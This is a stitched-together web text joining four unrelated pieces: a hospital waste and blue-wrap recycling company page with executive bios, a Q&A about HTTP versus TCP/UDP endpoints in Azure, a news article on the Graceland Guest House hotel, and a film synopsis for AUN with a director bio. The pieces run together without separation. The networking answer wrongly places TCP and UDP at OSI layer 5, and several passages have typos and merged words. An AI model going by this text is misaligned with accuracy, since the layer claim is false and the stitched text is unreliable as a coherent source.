Rapid Green Group handles shredding and waste management for many hospitals, so when we learned about the mass quantity of one particular type of hospital waste – operating room "blue wrap" – we worked on a custom recycling solution to get the bulky blue wrap out of dumpsters and landfills and made into something new. The solution has helped our customer:
reduce waste disposal costs by over $10,000.
reduce hospital waste by recycling 279,500 pounds (140 tons) of blue wrap (since 2011).
maintain a sustainable solution as material is processed, pelletized, and used to manufacture new plastic parts.
We are fully bonded and insured. Our staff receive on-going training so you can be confident we adhere to HIPAA and other industry regulations.
Scott Dennis, President
Scott began his career as an environmental geologist, working on many soil and groundwater cleanups in the Michigan and the mid-west. After 10 years, he started his own environmental consulting firm focused on groundwater cleanup and litigation support.
Five years later, in 1999, Scott had the foresight to start Rapid Shred with the goal of providing high quality services with the highest level of security.
A willingness to try new solutions and a constant focus on customers has led to an extremely high client loyalty and referrals that continue to grow Rapid Green Group.
Jodye Dennis, Vice President
Jodye has been closely involved with the company planning since its formation as Rapid Shred in 1999, and her responsibilities increased as the company continued to grow.
Jodye manages invoicing, scheduling, and reconciling daily services, working closely with the Operations Managers at each of Rapid Green Group's locations.
Her passion for the company is only surpassed by her passion for her family, including three grown children, their spouses, and most importantly, four wonderful grandchildren.

Q: Azure Endpoints Protocol Differencess Hello I was wondering during the development, what are the differences between the types of protocols that I can use for my endpoint?  the latest SDK had, HTTP, HTTPS, UDP and TCP.  I certainly understand what the differences between the http and Https, I also understand the differences between the TCP and UDP.
what I don't understand what are the differences between TCP and HTTP from the development perspective?

A: TCP / UDP are lower level protocols in the OSI model than HTTP/ HTTPS. Actually HTTPS is combining two thing, HTTP over SSL.
Have a read through the Wikipedia article describing the Osi Model
HTTP is a layer 7 (Application) protocol and as such has a strict set of rules governing how the messages are constructed and what are considered valid responses. It is not concerned with how the actual connection takes place or how the messages are routed.
TCP and UDP are layer 5 which means they are concerned with addressing, establishing connection, packetization and sequencing. Things that are needed to exchange a series of bytes (payloads) between two endpoints.
Usually when developing software you want to implement open and established protocols that simplify the task of integrating with systems from other vendors or opening up end points for others to consume. In this scenario, HTTP or HTTPS make sense.
If your system is a closed one where you control both the client and server applications or where performance is of paramount importance then TCP might be a good choice. Operating at this level means you have to concern yourself with issues of defining your own payload structure, security, packet loss etc.

Dallas News – New Guest House At Graceland Resort Salutes Elvis Presley With Elegance
Irregularly shaped wing chairs mimic his upturned collar. The lobby ceiling reflects the design on his cape. Hall light sconces feature the initials EP. And beside the pool, a heart shape blazes in the hunka hunka burnin' fire pit.
The new Guest House at Graceland salutes Elvis Presley at every turn, yet it does so with high-end elegance and muted bling. The walls sparkle, but quietly, not blindingly. This is the new, 450-room resort and conference center that replaces the old Heartbreak Hotel across the street.
Carrying a sort of '70s Vegas vibe, it's designed to evoke Elvis Presley, but in a way that's not kitschy.
Well, it might be just a tad kitschy that there's a flat-screen TV embedded in the ceiling of each of the two King Suite bedrooms over a bed swathed in red velvet. But it's also awesome, inspired by Elvis' own bedroom at Graceland (except his TV wasn't a flat screen).

The Japanese inventor Dr.Sekai's wife Hikari dies in labor when giving birth to their son AUN. As a toddler he discovers a sea snail washed ashore. Sekai, seeking a bright future for mankind, dies when involving his own body in experiments with it. 20 years later the Brazilian scientist Euclides continues Sekai's research. Missing the essential component his wife Nympha sets out on a hunt for AUN. Now head priest of a Shinto shrine he lures her into a place inhibited by spirits and mysterious creatures, leading her into a dream world nobody would ever want to escape from.
Angetreten war ich mit dem Anliegen, Bilder zu finden auf die Frage, wie schön Zukunft sein kann. Bilder habe ich gefunden - aber gelöst habe ich das Paradoxon nicht.
AUN tells the story of mankind's quest for the future, his desire to create the tomorrow, his fear of and loathing for the apocalypse. It spins the Faustian theme twice and lays bare open the inexhaustible Judea/Christian believe in progress, which by the 21st century has taken over the entire world and succeeded in maneuvering the globe into a situation that can't be solved by means of economics and science anymore. Enlightenments merits have taken the West's ability to sense what is not to be seen, what is only to be felt. Believes are so much more than religion, than monotheistic concepts. Souls and spirits exist not only in film. Denial and neglect of eternal laws lead to extinction – of the individual and the entire human race. AUN invents rituals as well as mythologies and worships the creator of it all – nature – by playfully laying out its dichotomy with human culture. The film equals mankind's beauty with nature by announcing that 'everything mankind creates in nature'. Sadly the hubris ends and gives the audience the chance to heartily weep for the world.
Edgar Honetschläger is an artist born in Austria whostudied economics and art history. He spent four years of his life in the USA(New York, Los Angeles, San Francisco), about 12 years in Japan (Tokyo), oneyear in Italy (Rome, Palermo) und a casual year in Brazil (Sao Paulo, Rio deJaneiro, Brasilia). 1997 he participated in Documenta X, 2004 Honetschlägerestablished the EDOKO Institute, 2009 he received the price for culturalachievents from the province of Upper Austria. The artist, screen writer andirector lives in Tokyo and Vienna.
